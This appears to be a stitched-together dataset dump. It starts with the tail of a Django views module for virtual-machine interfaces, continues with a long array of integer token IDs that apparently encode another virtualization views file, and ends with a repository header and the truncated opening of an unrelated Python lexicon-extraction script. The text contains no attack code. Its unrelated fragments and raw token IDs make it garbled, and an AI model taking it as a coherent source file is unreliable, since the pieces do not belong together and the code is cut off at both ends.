vlan_table = InterfaceVLANTable(
interface=vminterface,
data=vlans,
orderable=False
)
return render(request, 'virtualization/vminterface.html', {
'vminterface': vminterface,
'ipaddress_table': ipaddress_table,
'vlan_table': vlan_table,
})
# TODO: This should not use ComponentCreateView
class VMInterfaceCreateView(ComponentCreateView):
queryset = VMInterface.objects.all()
form = forms.VMInterfaceCreateForm
model_form = forms.VMInterfaceForm
template_name = 'virtualization/virtualmachine_component_add.html'
class VMInterfaceEditView(ObjectEditView):
queryset = VMInterface.objects.all()
model_form = forms.VMInterfaceForm
template_name = 'virtualization/vminterface_edit.html'
class VMInterfaceDeleteView(ObjectDeleteView):
queryset = VMInterface.objects.all()
class VMInterfaceBulkImportView(BulkImportView):
queryset = VMInterface.objects.all()
model_form = forms.VMInterfaceCSVForm
table = tables.VMInterfaceTable
class VMInterfaceBulkEditView(BulkEditView):
queryset = VMInterface.objects.all()
table = tables.VMInterfaceTable
form = forms.VMInterfaceBulkEditForm
class VMInterfaceBulkRenameView(BulkRenameView):
queryset = VMInterface.objects.all()
form = forms.VMInterfaceBulkRenameForm
class VMInterfaceBulkDeleteView(BulkDeleteView):
queryset = VMInterface.objects.all()
table = tables.VMInterfaceTable
#
# Bulk Device component creation
#
class VirtualMachineBulkAddInterfaceView(BulkComponentCreateView):
parent_model = VirtualMachine
parent_field = 'virtual_machine'
form = forms.VMInterfaceBulkCreateForm
queryset = VMInterface.objects.all()
model_form = forms.VMInterfaceForm
filterset = filters.VirtualMachineFilterSet
table = tables.VirtualMachineTable
| [
1,
515,
9557,
29889,
21570,
1053,
7191,
13,
3166,
9557,
29889,
2585,
1053,
10804,
13,
3166,
9557,
29889,
2585,
29889,
9794,
1053,
3917,
29892,
27611,
3486,
13,
3166,
9557,
29889,
12759,
7582,
29879,
1053,
679,
29918,
3318,
29918,
272,
29918,
29946,
29900,
29946,
29892,
6684,
29892,
4050,
13,
3166,
9557,
29889,
26045,
1053,
11837,
13,
13,
3166,
270,
29883,
326,
29889,
9794,
1053,
21830,
13,
3166,
270,
29883,
326,
29889,
24051,
1053,
21830,
3562,
13,
3166,
429,
10678,
29889,
7406,
1053,
4669,
3991,
2677,
1043,
13,
3166,
10377,
314,
29889,
9794,
1053,
5641,
7061,
29892,
6692,
13,
3166,
10377,
314,
29889,
24051,
1053,
25796,
5690,
7061,
3562,
29892,
25796,
29963,
29931,
2190,
3562,
13,
3166,
3667,
1907,
29889,
13239,
1053,
679,
29918,
1491,
1972,
13,
3166,
3667,
1907,
29889,
7406,
1053,
313,
13,
1678,
8313,
29895,
5308,
4391,
1043,
29892,
8313,
29895,
12498,
1043,
29892,
8313,
29895,
6103,
1043,
29892,
8313,
29895,
17518,
1043,
29892,
8313,
29895,
29934,
3871,
1043,
29892,
15924,
4391,
1043,
29892,
13,
1678,
4669,
1043,
29892,
4669,
12498,
1043,
29892,
4669,
6103,
1043,
29892,
4669,
15660,
29892,
13,
29897,
13,
3166,
869,
1053,
18094,
29892,
7190,
29892,
6131,
13,
3166,
869,
9794,
1053,
2233,
5402,
29892,
2233,
5402,
4782,
29892,
2233,
5402,
1542,
29892,
19181,
29076,
29892,
11400,
10448,
13,
13,
13,
29937,
13,
29937,
2233,
5402,
4072,
13,
29937,
13,
13,
1990,
2233,
5402,
1542,
15660,
29898,
2061,
15660,
1125,
13,
1678,
2346,
842,
353,
2233,
5402,
1542,
29889,
12650,
29889,
6735,
403,
29898,
19594,
29918,
2798,
29922,
3981,
877,
695,
504,
414,
1495,
467,
2098,
29918,
1609,
10456,
6821,
5402,
1542,
3032,
7299,
29889,
2098,
292,
29897,
13,
1678,
1591,
353,
6131,
29889,
6821,
5402,
1542,
3562,
13,
13,
13,
1990,
2233,
5402,
1542,
6103,
1043,
29898,
2061,
6103,
1043,
1125,
13,
1678,
2346,
842,
353,
2233,
5402,
1542,
29889,
12650,
29889,
497,
580,
13,
1678,
1904,
29918,
689,
353,
7190,
29889,
6821,
5402,
1542,
2500,
13,
13,
13,
1990,
2233,
5402,
1542,
12498,
1043,
29898,
2061,
12498,
1043,
1125,
13,
1678,
2346,
842,
353,
2233,
5402,
1542,
29889,
12650,
29889,
497,
580,
13,
13,
13,
1990,
2233,
5402,
1542,
29933,
24456,
17518,
1043,
29898,
29933,
24456,
17518,
1043,
1125,
13,
1678,
2346,
842,
353,
2233,
5402,
1542,
29889,
12650,
29889,
497,
580,
13,
1678,
1904,
29918,
689,
353,
7190,
29889,
6821,
5402,
1542,
29907,
7597,
2500,
13,
1678,
1591,
353,
6131,
29889,
6821,
5402,
1542,
3562,
13,
13,
13,
1990,
2233,
5402,
1542,
29933,
24456,
12498,
1043,
29898,
29933,
24456,
12498,
1043,
1125,
13,
1678,
2346,
842,
353,
2233,
5402,
1542,
29889,
12650,
29889,
6735,
403,
29898,
19594,
29918,
2798,
29922,
3981,
877,
695,
504,
414,
1495,
467,
2098,
29918,
1609,
10456,
6821,
5402,
1542,
3032,
7299,
29889,
2098,
292,
29897,
13,
1678,
1591,
353,
6131,
29889,
6821,
5402,
1542,
3562,
13,
13,
13,
29937,
13,
29937,
2233,
5402,
6471,
13,
29937,
13,
13,
1990,
2233,
5402,
4782,
15660,
29898,
2061,
15660,
1125,
13,
1678,
2346,
842,
353,
2233,
5402,
4782,
29889,
12650,
29889,
6735,
403,
29898,
19594,
29918,
2798,
29922,
3981,
877,
695,
504,
414,
1495,
467,
2098,
29918,
1609,
10456,
6821,
5402,
4782,
3032,
7299,
29889,
2098,
292,
29897,
13,
1678,
1591,
353,
6131,
29889,
6821,
5402,
4782,
3562,
13,
13,
13,
1990,
2233,
5402,
4782,
6103,
1043,
29898,
2061,
6103,
1043,
1125,
13,
1678,
2346,
842,
353,
2233,
5402,
4782,
29889,
12650,
29889,
497,
580,
13,
1678,
1904,
29918,
689,
353,
7190,
29889,
6821,
5402,
4782,
2500,
13,
13,
13,
1990,
2233,
5402,
4782,
12498,
1043,
29898,
2061,
12498,
1043,
1125,
13,
1678,
2346,
842,
353,
2233,
5402,
4782,
29889,
12650,
29889,
497,
580,
13,
13,
13,
1990,
2233,
5402,
4782,
29933,
24456,
17518,
1043,
29898,
29933,
24456,
17518,
1043,
1125,
13,
1678,
2346,
842,
353,
2233,
5402,
4782,
29889,
12650,
29889,
497,
580,
13,
1678,
1904,
29918,
689,
353,
7190,
29889,
6821,
5402,
4782,
29907,
7597,
2500,
13,
1678,
1591,
353,
6131,
29889,
6821,
5402,
4782,
3562,
13,
13,
13,
1990,
2233,
5402,
4782,
29933,
24456,
12498,
1043,
29898,
29933,
24456,
12498,
1043,
1125,
13,
1678,
2346,
842,
353,
2233,
5402,
4782,
29889,
12650,
29889,
6735,
403,
29898,
19594,
29918,
2798,
29922,
3981,
877,
695,
504,
414,
1495,
467,
2098,
29918,
1609,
10456,
6821,
5402,
4782,
3032,
7299,
29889,
2098,
292,
29897,
13,
1678,
1591,
353,
6131,
29889,
6821,
5402,
4782,
3562,
13,
13,
13,
29937,
13,
29937,
2233,
504,
414,
13,
29937,
13,
13,
1990,
2233,
5402,
15660,
29898,
2061,
15660,
1125,
13,
1678,
10751,
29918,
12403,
353,
525,
18714,
2133,
29889,
1493,
29918,
19594,
29915,
13,
1678,
2346,
842,
353,
2233,
5402,
29889,
12650,
29889,
29886,
999,
3486,
29918,
12817,
877,
1853,
742,
525,
2972,
742,
525,
2746,
742,
525,
841,
424,
2824,
6735,
403,
29898,
13,
4706,
4742,
29918,
2798,
29922,
657,
29918,
1491,
1972,
29898,
11501,
29892,
525,
19594,
5477,
13,
4706,
22419,
29918,
2798,
29922,
657,
29918,
1491,
1972,
29898,
21287,
29076,
29892,
525,
19594,
1495,
13,
1678,
1723,
13,
1678,
1591,
353,
6131,
29889,
6821,
5402,
3562,
13,
1678,
4175,
842,
353,
18094,
29889,
6821,
5402,
5072,
2697,
13,
1678,
4175,
842,
29918,
689,
353,
7190,
29889,
6821,
5402,
5072,
2500,
13,
13,
13,
1990,
2233,
5402,
1043,
29898,
2061,
1043,
1125,
13,
1678,
2346,
842,
353,
2233,
5402,
29889,
12650,
29889,
497,
580,
13,
13,
1678,
822,
679,
29898,
1311,
29892,
2009,
29892,
282,
29895,
1125,
13,
4706,
1583,
29889,
1972,
842,
353,
1583,
29889,
1972,
842,
29889,
29886,
999,
3486,
29918,
12817,
29898,
13,
9651,
27611,
3486,
877,
18714,
29918,
29885,
496,
1475,
742,
2346,
842,
29922,
21287,
29076,
29889,
12650,
29889,
5060,
4146,
29898,
3827,
29889,
1792,
876,
13,
4706,
1723,
13,
13,
4706,
9867,
353,
679,
29918,
3318,
29918,
272,
29918,
29946,
29900,
29946,
29898,
1311,
29889,
1972,
842,
29892,
282,
29895,
29922,
20571,
29897,
13,
4706,
9224,
353,
21830,
29889,
12650,
29889,
5060,
4146,
29898,
3827,
29889,
1792,
29892,
525,
1493,
2824,
4572,
29898,
19594,
29922,
19594,
467,
29886,
999,
3486,
29918,
12817,
29898,
13,
9651,
525,
2746,
742,
525,
22282,
742,
525,
841,
424,
742,
525,
10141,
29918,
1853,
1649,
1171,
9765,
9945,
29915,
13,
4706,
1723,
13,
4706,
4742,
29918,
2371,
353,
21830,
3562,
29898,
1761,
29898,
3359,
1575,
511,
1797,
519,
29922,
8824,
29897,
13,
4706,
565,
2009,
29889,
1792,
29889,
5349,
29918,
17858,
877,
18714,
2133,
29889,
3167,
29918,
19594,
29374,
13,
9651,
4742,
29918,
2371,
29889,
13099,
29889,
4294,
877,
20571,
1495,
13,
13,
4706,
736,
4050,
29898,
3827,
29892,
525,
18714,
2133,
29914,
19594,
29889,
1420,
742,
426,
13,
9651,
525,
19594,
2396,
9867,
29892,
13,
9651,
525,
10141,
29918,
2371,
2396,
4742,
29918,
2371,
29892,
13,
4706,
5615,
13,
13,
13,
1990,
2233,
5402,
6103,
1043,
29898,
2061,
6103,
1043,
1125,
13,
1678,
4472,
29918,
978,
353,
525,
18714,
2133,
29914,
19594,
29918,
5628,
29889,
1420,
29915,
13,
1678,
2346,
842,
353,
2233,
5402,
29889,
12650,
29889,
497,
580,
13,
1678,
1904,
29918,
689,
353,
7190,
29889,
6821,
5402,
2500,
13,
13,
13,
1990,
2233,
5402,
12498,
1043,
29898,
2061,
12498,
1043,
1125,
13,
1678,
2346,
842,
353,
2233,
5402,
29889,
12650,
29889,
497,
580,
13,
13,
13,
1990,
2233,
5402,
29933,
24456,
17518,
1043,
29898,
29933,
24456,
17518,
1043,
1125,
13,
1678,
2346,
842,
353,
2233,
5402,
29889,
12650,
29889,
497,
580,
13,
1678,
1904,
29918,
689,
353,
7190,
29889,
6821,
5402,
29907,
7597,
2500,
13,
1678,
1591,
353,
6131,
29889,
6821,
5402,
3562,
13,
13,
13,
1990,
2233,
5402,
29933,
24456,
6103,
1043,
29898,
29933,
24456,
6103,
1043,
1125,
13,
1678,
2346,
842,
353,
2233,
5402,
29889,
12650,
29889,
29886,
999,
3486,
29918,
12817,
877,
1853,
742,
525,
2972,
742,
525,
2746,
1495,
13,
1678,
4175,
842,
353,
18094,
29889,
6821,
5402,
5072,
2697,
13,
1678,
1591,
353,
6131,
29889,
6821,
5402,
3562,
13,
1678,
883,
353,
7190,
29889,
6821,
5402,
29933,
24456,
6103,
2500,
13,
13,
13,
1990,
2233,
5402,
29933,
24456,
12498,
1043,
29898,
29933,
24456,
12498,
1043,
1125,
13,
1678,
2346,
842,
353,
2233,
5402,
29889,
12650,
29889,
29886,
999,
3486,
29918,
12817,
877,
1853,
742,
525,
2972,
742,
525,
2746,
1495,
13,
1678,
4175,
842,
353,
18094,
29889,
6821,
5402,
5072,
2697,
13,
1678,
1591,
353,
6131,
29889,
6821,
5402,
3562,
13,
13,
13,
1990,
2233,
5402,
2528,
16618,
1575,
1043,
29898,
2061,
6103,
1043,
1125,
13,
1678,
2346,
842,
353,
2233,
5402,
29889,
12650,
29889,
497,
580,
13,
1678,
883,
353,
7190,
29889,
6821,
5402,
2528,
16618,
1575,
2500,
13,
1678,
4472,
29918,
978,
353,
525,
18714,
2133,
29914,
19594,
29918,
1202,
29918,
3359,
1575,
29889,
1420,
29915,
13,
13,
1678,
822,
679,
29898,
1311,
29892,
2009,
29892,
282,
29895,
1125,
13,
4706,
9867,
353,
679,
29918,
3318,
29918,
272,
29918,
29946,
29900,
29946,
29898,
1311,
29889,
1972,
842,
29892,
282,
29895,
29922,
20571,
29897,
13,
4706,
883,
353,
1583,
29889,
689,
29898,
19594,
29892,
2847,
29922,
3827,
29889,
7194,
29897,
13,
13,
4706,
736,
4050,
29898,
3827,
29892,
1583,
29889,
6886,
29918,
978,
29892,
426,
13,
9651,
525,
19594,
2396,
9867,
29892,
13,
9651,
525,
689,
2396,
883,
29892,
13,
9651,
525,
2457,
29918,
2271,
2396,
11837,
877,
18714,
2133,
29901,
19594,
742,
9049,
5085,
3790,
29915,
20571,
2396,
282,
29895,
9594,
13,
4706,
5615,
13,
13,
1678,
822,
1400,
29898,
1311,
29892,
2009,
29892,
282,
29895,
1125,
13,
4706,
9867,
353,
679,
29918,
3318,
29918,
272,
29918,
29946,
29900,
29946,
29898,
1311,
29889,
1972,
842,
29892,
282,
29895,
29922,
20571,
29897,
13,
4706,
883,
353,
1583,
29889,
689,
29898,
19594,
29892,
2009,
29889,
5438,
29897,
13,
13,
4706,
565,
883,
29889,
275,
29918,
3084,
7295,
13,
13,
9651,
4742,
29918,
29886,
2039,
353,
883,
29889,
14941,
287,
29918,
1272,
1839,
3359,
1575,
2033,
13,
9651,
411,
10804,
29889,
21641,
7295,
13,
13,
18884,
396,
4007,
647,
278,
4629,
9481,
1575,
304,
278,
2233,
5402,
13,
18884,
363,
4742,
297,
21830,
29889,
12650,
29889,
4572,
29898,
20571,
1649,
262,
29922,
10141,
29918,
29886,
2039,
1125,
13,
462,
1678,
4742,
29889,
19594,
353,
9867,
13,
462,
1678,
4742,
29889,
7620,
580,
13,
13,
9651,
7191,
29889,
8698,
29898,
3827,
29892,
376,
2528,
287,
6571,
9224,
304,
9867,
6571,
1642,
4830,
29898,
13,
18884,
7431,
29898,
10141,
29918,
29886,
2039,
511,
9867,
13,
632,
876,
13,
9651,
736,
6684,
29898,
19594,
29889,
657,
29918,
23552,
29918,
2271,
3101,
13,
13,
4706,
736,
4050,
29898,
3827,
29892,
1583,
29889,
6886,
29918,
978,
29892,
426,
13,
9651,
525,
19594,
2396,
9867,
29892,
13,
9651,
525,
689,
2396,
883,
29892,
13,
9651,
525,
2457,
29918,
2271,
2396,
9867,
29889,
657,
29918,
23552,
29918,
2271,
3285,
13,
4706,
5615,
13,
13,
13,
1990,
2233,
5402,
15941,
16618,
1575,
1043,
29898,
2061,
6103,
1043,
1125,
13,
1678,
2346,
842,
353,
2233,
5402,
29889,
12650,
29889,
497,
580,
13,
1678,
883,
353,
7190,
29889,
6821,
5402,
15941,
16618,
1575,
2500,
13,
1678,
4472,
29918,
978,
353,
525,
4422,
1907,
29914,
5415,
29918,
8645,
29895,
29918,
5992,
29889,
1420,
29915,
13,
13,
1678,
822,
1400,
29898,
1311,
29892,
2009,
29892,
282,
29895,
1125,
13,
13,
4706,
9867,
353,
679,
29918,
3318,
29918,
272,
29918,
29946,
29900,
29946,
29898,
1311,
29889,
1972,
842,
29892,
282,
29895,
29922,
20571,
29897,
13,
13,
4706,
565,
22868,
26897,
29915,
297,
2009,
29889,
5438,
29901,
13,
9651,
883,
353,
1583,
29889,
689,
29898,
3827,
29889,
5438,
29897,
13,
9651,
565,
883,
29889,
275,
29918,
3084,
7295,
13,
13,
18884,
4742,
29918,
29886,
2039,
353,
883,
29889,
14941,
287,
29918,
1272,
1839,
20571,
2033,
13,
18884,
411,
10804,
29889,
21641,
7295,
13,
13,
462,
1678,
396,
15154,
278,
4629,
9481,
1575,
515,
278,
2233,
5402,
13,
462,
1678,
363,
4742,
297,
21830,
29889,
12650,
29889,
4572,
29898,
20571,
1649,
262,
29922,
10141,
29918,
29886,
2039,
1125,
13,
462,
4706,
4742,
29889,
19594,
353,
6213,
13,
462,
4706,
4742,
29889,
7620,
580,
13,
13,
18884,
7191,
29889,
8698,
29898,
3827,
29892,
376,
7301,
8238,
6571,
9224,
515,
9867,
6571,
1642,
4830,
29898,
13,
462,
1678,
7431,
29898,
10141,
29918,
29886,
2039,
511,
9867,
13,
462,
876,
13,
18884,
736,
6684,
29898,
19594,
29889,
657,
29918,
23552,
29918,
2271,
3101,
13,
13,
4706,
1683,
29901,
13,
9651,
883,
353,
1583,
29889,
689,
29898,
11228,
3790,
29915,
20571,
2396,
2009,
29889,
5438,
29889,
657,
1761,
877,
20571,
1495,
1800,
13,
13,
4706,
4629,
29918,
12650,
353,
21830,
29889,
12650,
29889,
4572,
29898,
20571,
1649,
262,
29922,
689,
29889,
11228,
1839,
20571,
11287,
13,
4706,
4742,
29918,
2371,
353,
21830,
3562,
29898,
1761,
29898,
8391,
29918,
12650,
511,
1797,
519,
29922,
8824,
29897,
13,
13,
4706,
736,
4050,
29898,
3827,
29892,
1583,
29889,
6886,
29918,
978,
29892,
426,
13,
9651,
525,
689,
2396,
883,
29892,
13,
9651,
525,
3560,
29918,
5415,
2396,
9867,
29892,
13,
9651,
525,
2371,
2396,
4742,
29918,
2371,
29892,
13,
9651,
525,
5415,
29918,
1853,
29918,
572,
3631,
2396,
525,
3359,
1575,
742,
13,
9651,
525,
2457,
29918,
2271,
2396,
9867,
29889,
657,
29918,
23552,
29918,
2271,
3285,
13,
4706,
5615,
13,
13,
13,
29937,
13,
29937,
19181,
14884,
13,
29937,
13,
13,
1990,
19181,
29076,
15660,
29898,
2061,
15660,
1125,
13,
1678,
2346,
842,
353,
19181,
29076,
29889,
12650,
29889,
29886,
999,
3486,
29918,
12817,
877,
19594,
742,
525,
841,
424,
742,
525,
12154,
742,
525,
16072,
29918,
666,
29946,
742,
525,
16072,
29918,
666,
29953,
1495,
13,
1678,
4175,
842,
353,
18094,
29889,
21287,
29076,
5072,
2697,
13,
1678,
4175,
842,
29918,
689,
353,
7190,
29889,
21287,
29076,
5072,
2500,
13,
1678,
1591,
353,
6131,
29889,
21287,
29076,
16570,
3562,
13,
1678,
4472,
29918,
978,
353,
525,
18714,
2133,
29914,
18714,
23523,
29918,
1761,
29889,
1420,
29915,
13,
13,
13,
1990,
19181,
29076,
1043,
29898,
2061,
1043,
1125,
13,
1678,
2346,
842,
353,
19181,
29076,
29889,
12650,
29889,
29886,
999,
3486,
29918,
12817,
877,
841,
424,
1649,
2972,
1495,
13,
13,
1678,
822,
679,
29898,
1311,
29892,
2009,
29892,
282,
29895,
1125,
13,
13,
4706,
6901,
23523,
353,
679,
29918,
3318,
29918,
272,
29918,
29946,
29900,
29946,
29898,
1311,
29889,
1972,
842,
29892,
282,
29895,
29922,
20571,
29897,
13,
4706,
19510,
353,
11400,
10448,
29889,
12650,
29889,
5060,
4146,
29898,
3827,
29889,
1792,
29892,
525,
1493,
2824,
4572,
29898,
13,
9651,
6901,
29918,
23523,
29922,
18714,
23523,
13,
4706,
13742,
29886,
999,
3486,
29918,
12817,
29898,
13,
9651,
27611,
3486,
877,
666,
29918,
7328,
267,
742,
2346,
842,
29922,
5690,
7061,
29889,
12650,
29889,
5060,
4146,
29898,
3827,
29889,
1792,
876,
13,
4706,
1723,
13,
4706,
5786,
353,
6692,
29889,
12650,
29889,
5060,
4146,
29898,
3827,
29889,
1792,
29892,
525,
1493,
2824,
4572,
29898,
13,
9651,
6901,
29918,
23523,
29922,
18714,
23523,
13,
4706,
13742,
29886,
999,
3486,
29918,
12817,
29898,
13,
9651,
27611,
3486,
877,
666,
7328,
267,
742,
2346,
842,
29922,
5690,
7061,
29889,
12650,
29889,
5060,
4146,
29898,
3827,
29889,
1792,
876,
13,
4706,
1723,
13,
13,
4706,
736,
4050,
29898,
3827,
29892,
525,
18714,
2133,
29914,
18714,
23523,
29889,
1420,
742,
426,
13,
9651,
525,
18714,
23523,
2396,
6901,
23523,
29892,
13,
9651,
525,
1639,
8726,
2396,
19510,
29892,
13,
9651,
525,
9916,
2396,
5786,
29892,
13,
4706,
5615,
13,
13,
13,
1990,
19181,
29076,
3991,
2677,
1043,
29898,
2061,
3991,
2677,
1043,
1125,
13,
1678,
2346,
842,
353,
19181,
29076,
29889,
12650,
29889,
6735,
403,
29918,
2917,
29918,
4703,
29918,
1272,
580,
13,
1678,
2967,
29918,
6886,
353,
525,
18714,
2133,
29914,
18714,
23523,
29889,
1420,
29915,
13,
13,
13,
1990,
19181,
29076,
6103,
1043,
29898,
2061,
6103,
1043,
1125,
13,
1678,
2346,
842,
353,
19181,
29076,
29889,
12650,
29889,
497,
580,
13,
1678,
1904,
29918,
689,
353,
7190,
29889,
21287,
29076,
2500,
13,
1678,
4472,
29918,
978,
353,
525,
18714,
2133,
29914,
18714,
23523,
29918,
5628,
29889,
1420,
29915,
13,
13,
13,
1990,
19181,
29076,
12498,
1043,
29898,
2061,
12498,
1043,
1125,
13,
1678,
2346,
842,
353,
19181,
29076,
29889,
12650,
29889,
497,
580,
13,
13,
13,
1990,
19181,
29076,
29933,
24456,
17518,
1043,
29898,
29933,
24456,
17518,
1043,
1125,
13,
1678,
2346,
842,
353,
19181,
29076,
29889,
12650,
29889,
497,
580,
13,
1678,
1904,
29918,
689,
353,
7190,
29889,
21287,
29076,
29907,
7597,
2500,
13,
1678,
1591,
353,
6131,
29889,
21287,
29076,
3562,
13,
13,
13,
1990,
19181,
29076,
29933,
24456,
6103,
1043,
29898,
29933,
24456,
6103,
1043,
1125,
13,
1678,
2346,
842,
353,
19181,
29076,
29889,
12650,
29889,
29886,
999,
3486,
29918,
12817,
877,
19594,
742,
525,
841,
424,
742,
525,
12154,
1495,
13,
1678,
4175,
842,
353,
18094,
29889,
21287,
29076,
5072,
2697,
13,
1678,
1591,
353,
6131,
29889,
21287,
29076,
3562,
13,
1678,
883,
353,
7190,
29889,
21287,
29076,
29933,
24456,
6103,
2500,
13,
13,
13,
1990,
19181,
29076,
29933,
24456,
12498,
1043,
29898,
29933,
24456,
12498,
1043,
1125,
13,
1678,
2346,
842,
353,
19181,
29076,
29889,
12650,
29889,
29886,
999,
3486,
29918,
12817,
877,
19594,
742,
525,
841,
424,
742,
525,
12154,
1495,
13,
1678,
4175,
842,
353,
18094,
29889,
21287,
29076,
5072,
2697,
13,
1678,
1591,
353,
6131,
29889,
21287,
29076,
3562,
13,
13,
13,
29937,
13,
29937,
11400,
19510,
13,
29937,
13,
13,
1990,
11400,
10448,
15660,
29898,
2061,
15660,
1125,
13,
1678,
2346,
842,
353,
11400,
10448,
29889,
12650,
29889,
29886,
999,
3486,
29918,
12817,
877,
18714,
29918,
23523,
1495,
13,
1678,
4175,
842,
353,
18094,
29889,
9219,
10448,
5072,
2697,
13,
1678,
4175,
842,
29918,
689,
353,
7190,
29889,
9219,
10448,
5072,
2500,
13,
1678,
1591,
353,
6131,
29889,
9219,
10448,
3562,
13,
1678,
3158,
29918,
4187,
7453,
353,
6702,
15843,
742,
29897,
13,
13,
13,
1990,
11400,
10448,
1043,
29898,
2061,
1043,
1125,
13,
1678,
2346,
842,
353,
11400,
10448,
29889,
12650,
29889,
497,
580,
13,
13,
1678,
822,
679,
29898,
1311,
29892,
2009,
29892,
282,
29895,
1125,
13,
13,
4706,
325,
1195,
357,
2161,
353,
679,
29918,
3318,
29918,
272,
29918,
29946,
29900,
29946,
29898,
1311,
29889,
1972,
842,
29892,
282,
29895,
29922,
20571,
29897,
13,
13,
4706,
396,
3617,
9859,
5641,
14157,
13,
4706,
10377,
7328,
29918,
2371,
353,
25796,
5690,
7061,
3562,
29898,
13,
9651,
848,
29922,
29894,
1195,
357,
2161,
29889,
666,
29918,
7328,
267,
29889,
5060,
4146,
29898,
3827,
29889,
1792,
29892,
525,
1493,
2824,
29886,
999,
3486,
29918,
12817,
877,
29894,
9600,
742,
525,
841,
424,
5477,
13,
9651,
1797,
519,
29922,
8824,
13,
4706,
1723,
13,
13,
4706,
396,
3617,
9859,
478,
29931,
2190,
29879,
322,
9732,
403,
3692,
1269,
338,
4055,
3192,
470,
443,
4039,
3192,
13,
4706,
14204,
550,
353,
5159,
13,
4706,
565,
325,
1195,
357,
2161,
29889,
1657,
351,
3192,
29918,
29894,
6468,
338,
451,
6213,
29901,
13,
9651,
14204,
550,
29889,
4397,
29898,
29894,
1195,
357,
2161,
29889,
1657,
351,
3192,
29918,
29894,
6468,
29897,
13,
9651,
14204,
550,
29961,
29900,
1822,
4039,
3192,
353,
7700,
13,
4706,
363,
325,
6468,
297,
325,
1195,
357,
2161,
29889,
4039,
3192,
29918,
20901,
550,
29889,
5060,
4146,
29898,
3827,
29889,
1792,
467,
29886,
999,
3486,
29918,
12817,
877,
2746,
742,
525,
2972,
742,
525,
841,
424,
742,
525,
12154,
29374,
13,
9651,
325,
6468,
29889,
4039,
3192,
353,
5852,
13,
9651,
14204,
550,
29889,
4397,
29898,
29894,
6468,
29897,
13,
4706,
325,
6468,
29918,
2371,
353,
25796,
29963,
29931,
2190,
3562,
29898,
13,
9651,
5067,
29922,
29894,
1195,
357,
2161,
29892,
13,
9651,
848,
29922,
20901,
550,
29892,
13,
9651,
1797,
519,
29922,
8824,
13,
4706,
1723,
13,
13,
4706,
736,
4050,
29898,
3827,
29892,
525,
18714,
2133,
29914,
29894,
1195,
357,
2161,
29889,
1420,
742,
426,
13,
9651,
525,
29894,
1195,
357,
2161,
2396,
325,
1195,
357,
2161,
29892,
13,
9651,
525,
666,
7328,
29918,
2371,
2396,
10377,
7328,
29918,
2371,
29892,
13,
9651,
525,
29894,
6468,
29918,
2371,
2396,
325,
6468,
29918,
2371,
29892,
13,
4706,
5615,
13,
13,
13,
29937,
14402,
29901,
910,
881,
451,
671,
15924,
4391,
1043,
13,
1990,
11400,
10448,
4391,
1043,
29898,
5308,
4391,
1043,
1125,
13,
1678,
2346,
842,
353,
11400,
10448,
29889,
12650,
29889,
497,
580,
13,
1678,
883,
353,
7190,
29889,
9219,
10448,
4391,
2500,
13,
1678,
1904,
29918,
689,
353,
7190,
29889,
9219,
10448,
2500,
13,
1678,
4472,
29918,
978,
353,
525,
18714,
2133,
29914,
18714,
23523,
29918,
9700,
29918,
1202,
29889,
1420,
29915,
13,
13,
13,
1990,
11400,
10448,
6103,
1043,
29898,
2061,
6103,
1043,
1125,
13,
1678,
2346,
842,
353,
11400,
10448,
29889,
12650,
29889,
497,
580,
13,
1678,
1904,
29918,
689,
353,
7190,
29889,
9219,
10448,
2500,
13,
1678,
4472,
29918,
978,
353,
525,
18714,
2133,
29914,
29894,
1195,
357,
2161,
29918,
5628,
29889,
1420,
29915,
13,
13,
13,
1990,
11400,
10448,
12498,
1043,
29898,
2061,
12498,
1043,
1125,
13,
1678,
2346,
842,
353,
11400,
10448,
29889,
12650,
29889,
497,
580,
13,
13,
13,
1990,
11400,
10448,
29933,
24456,
17518,
1043,
29898,
29933,
24456,
17518,
1043,
1125,
13,
1678,
2346,
842,
353,
11400,
10448,
29889,
12650,
29889,
497,
580,
13,
1678,
1904,
29918,
689,
353,
7190,
29889,
9219,
10448,
29907,
7597,
2500,
13,
1678,
1591,
353,
6131,
29889,
9219,
10448,
3562,
13,
13,
13,
1990,
11400,
10448,
29933,
24456,
6103,
1043,
29898,
29933,
24456,
6103,
1043,
1125,
13,
1678,
2346,
842,
353,
11400,
10448,
29889,
12650,
29889,
497,
580,
13,
1678,
1591,
353,
6131,
29889,
9219,
10448,
3562,
13,
1678,
883,
353,
7190,
29889,
9219,
10448,
29933,
24456,
6103,
2500,
13,
13,
13,
1990,
11400,
10448,
29933,
24456,
29934,
3871,
1043,
29898,
29933,
24456,
29934,
3871,
1043,
1125,
13,
1678,
2346,
842,
353,
11400,
10448,
29889,
12650,
29889,
497,
580,
13,
1678,
883,
353,
7190,
29889,
9219,
10448,
29933,
24456,
29934,
3871,
2500,
13,
13,
13,
1990,
11400,
10448,
29933,
24456,
12498,
1043,
29898,
29933,
24456,
12498,
1043,
1125,
13,
1678,
2346,
842,
353,
11400,
10448,
29889,
12650,
29889,
497,
580,
13,
1678,
1591,
353,
6131,
29889,
9219,
10448,
3562,
13,
13,
13,
29937,
13,
29937,
8313,
29895,
21830,
4163,
11265,
13,
29937,
13,
13,
1990,
19181,
29076,
29933,
24456,
2528,
10448,
1043,
29898,
29933,
24456,
5308,
4391,
1043,
1125,
13,
1678,
3847,
29918,
4299,
353,
19181,
29076,
13,
1678,
3847,
29918,
2671,
353,
525,
18714,
29918,
23523,
29915,
13,
1678,
883,
353,
7190,
29889,
9219,
10448,
29933,
24456,
4391,
2500,
13,
1678,
2346,
842,
353,
11400,
10448,
29889,
12650,
29889,
497,
580,
13,
1678,
1904,
29918,
689,
353,
7190,
29889,
9219,
10448,
2500,
13,
1678,
4175,
842,
353,
18094,
29889,
21287,
29076,
5072,
2697,
13,
1678,
1591,
353,
6131,
29889,
21287,
29076,
3562,
13,
2
] |
scripts/make_easysrl_lexicon.py | marbles-ai/ie | 0 | 46774 | <reponame>marbles-ai/ie
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import unicode_literals, print_function
import os
import re
import sys
# Modify python path
projdir = os.path.dirname(os.path.abspath(os.path.dirname(__file__)))
pypath = os.path.join(projdir, 'src', 'python')
datapath = os.path.join(pypath, 'marbles', 'ie', 'drt')
sys.path.insert(0, pypath)
#from marbles.ie.parse import parse_ccg_derivation
from marbles.ie.ccg import parse_ccg_derivation2 as parse_ccg_derivation
from marbles.ie.ccg.utils import sentence_from_pt
from marbles.ie.semantics.ccg import extract_lexicon_from_pt
from marbles.ie.ccg import Category
from marbles import safe_utf8_encode, safe_utf8_decode
def die(s):
print('Error: %s' %s)
sys.exit(1)
def print_progress(progress, tick=1, done=False):
